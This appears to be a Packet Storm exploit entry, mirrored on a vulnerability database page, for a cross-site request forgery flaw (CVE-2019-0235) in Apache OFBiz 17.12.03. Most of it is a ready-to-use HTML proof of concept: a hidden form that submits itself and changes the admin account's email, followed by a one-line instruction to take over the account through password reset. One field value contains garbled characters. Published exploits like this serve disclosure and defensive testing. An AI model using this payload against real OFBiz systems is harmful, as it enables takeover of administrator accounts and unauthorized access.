Lucene search
Faiz Ahmed ZaidiPACKETSTORM:157514HistoryMay 01, 2020 - 12:00 a.m.
Apache OFBiz 17.12.03 Cross Site Request Forgery
2020-05-0100:00:00
Faiz Ahmed Zaidi
packetstormsecurity.com
66
0.011 Low
EPSS
Percentile
84.1%
`# Exploit Title: Apache OFBiz 17.12.03 - Cross-Site Request Forgery (Account Takeover)
# Exploit Author: Faiz Ahmed Zaidi
# Vendor Homepage: [https://ofbiz.apache.org/security.html]
# Software Link: https://ofbiz.apache.org/download.html#security
# Version: Before 17.12.03
# Tested on: Linux and Windows
# CVE : CVE-2019-0235
#Exploit Code:
<html>
<body>
<form action="https://hostipaddress:8443/partymgr/control/updateEmailAddress" method="POST">
<input type="hidden" name="contactMechId" value="admin" />
<input type="hidden" name="contactMechTypeId" value="EMAIL_ADDRESS" />
<input type="hidden" name="partyId" value="admin" />
<input type="hidden" name="DONE_PAGE" value="viewprofile?party_id=adminΓΒ’ΒΒyId=admin" />
<input type="hidden" name="emailAddress" value="[email protected]" />
<input type="hidden" name="allowSolicitation" value="Y" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
After that do a password reset via forget password.
It's done :)
`
Related
osv
osv
CVE-2019-0235
2020-04-30 20:15:12
nvd
nvd
CVE-2019-0235
2020-04-30 20:15:12
zdt
zdt
Apache OFBiz 17.12.03 Cross Site Request Forgery Vulnerability
2020-05-02 00:00:00
cve
cve
CVE-2019-0235
2020-04-30 20:15:12
cvelist
cvelist
CVE-2019-0235
2020-04-30 19:22:20
prion
prion
Cross site request forgery (csrf)
2020-04-30 20:15:00
exploitdb
exploitdb
Apache OFBiz 17.12.03 - Cross-Site Request Forgery (Account Takeover)
2020-05-01 00:00:00